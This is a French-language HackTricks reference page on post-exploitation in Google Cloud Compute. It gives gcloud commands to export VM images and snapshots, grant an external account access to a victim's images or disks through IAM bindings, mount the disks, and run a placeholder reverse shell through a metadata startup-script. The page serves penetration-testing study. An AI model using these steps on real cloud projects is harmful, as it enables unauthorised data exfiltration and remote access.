# GCP - Post Exploitation Compute

{{#include ../../../banners/hacktricks-training.md}}

## Compute

Pour plus d'informations sur Compute et VPC (Réseautage), consultez :

{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}

### Exporter et inspecter les images localement

Cela permettrait à un attaquant d'**accéder aux données contenues dans des images déjà existantes** ou de **créer de nouvelles images de VMs en cours d'exécution** et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.

Il est possible d'exporter une image de VM vers un bucket, puis de la télécharger et de la monter localement avec la commande :
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Pour effectuer cette action, l'attaquant pourrait avoir besoin de privilèges sur le bucket de stockage et certainement **de privilèges sur cloudbuild**, car c'est le **service** qui sera demandé pour effectuer l'exportation.\
De plus, pour que cela fonctionne, le SA codebuild et le SA compute ont besoin de permissions privilégiées.\
Le SA cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` a besoin de :

- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser

Et le SA `<project-id>-compute@developer.gserviceaccount.com` a besoin de :

- roles/compute.storageAdmin
- roles/storage.objectAdmin

### Exporter et inspecter les instantanés et disques localement

Il n'est pas possible d'exporter directement des instantanés et des disques, mais il est possible de **transformer un instantané en disque, un disque en image** et, suivant la **section précédente**, d'exporter cette image pour l'inspecter localement.
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### Inspecter une image en créant une VM

Dans le but d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis laquelle un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
et ensuite créez une nouvelle VM à partir de cela :
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
Si vous ne pouviez pas donner l'accès à votre compte externe via l'image, vous pourriez lancer une VM en utilisant cette image dans le projet de la victime et **faire exécuter un reverse shell par les métadonnées** pour accéder à l'image en ajoutant le paramètre :
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspecter un instantané/un disque en l'attachant à une VM

Avec l'objectif d'accéder aux **données stockées dans un disque ou un instantané, vous pourriez transformer l'instantané en disque, un disque en image et suivre les étapes précédentes.**

Ou vous pourriez **accorder l'accès à un compte externe** sur le disque (si le point de départ est un instantané, accordez l'accès sur l'instantané ou créez un disque à partir de celui-ci) :
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
**Attacher le disque** à une instance :
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
Montez le disque à l'intérieur de la VM :

1.  **SSH dans la VM** :

```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```

2.  **Identifiez le disque** : Une fois à l'intérieur de la VM, identifiez le nouveau disque en listant les périphériques de disque. En général, vous pouvez le trouver sous `/dev/sdb`, `/dev/sdc`, etc.
3.  **Formatez et montez le disque** (s'il s'agit d'un nouveau disque ou d'un disque brut) :

- Créez un point de montage :

```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```

- Montez le disque :

```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```

Si vous **ne pouvez pas donner accès à un projet externe** au snapshot ou au disque, vous devrez **effectuer ces actions à l'intérieur d'une instance dans le même projet que le snapshot/disque**.

{{#include ../../../banners/hacktricks-training.md}}
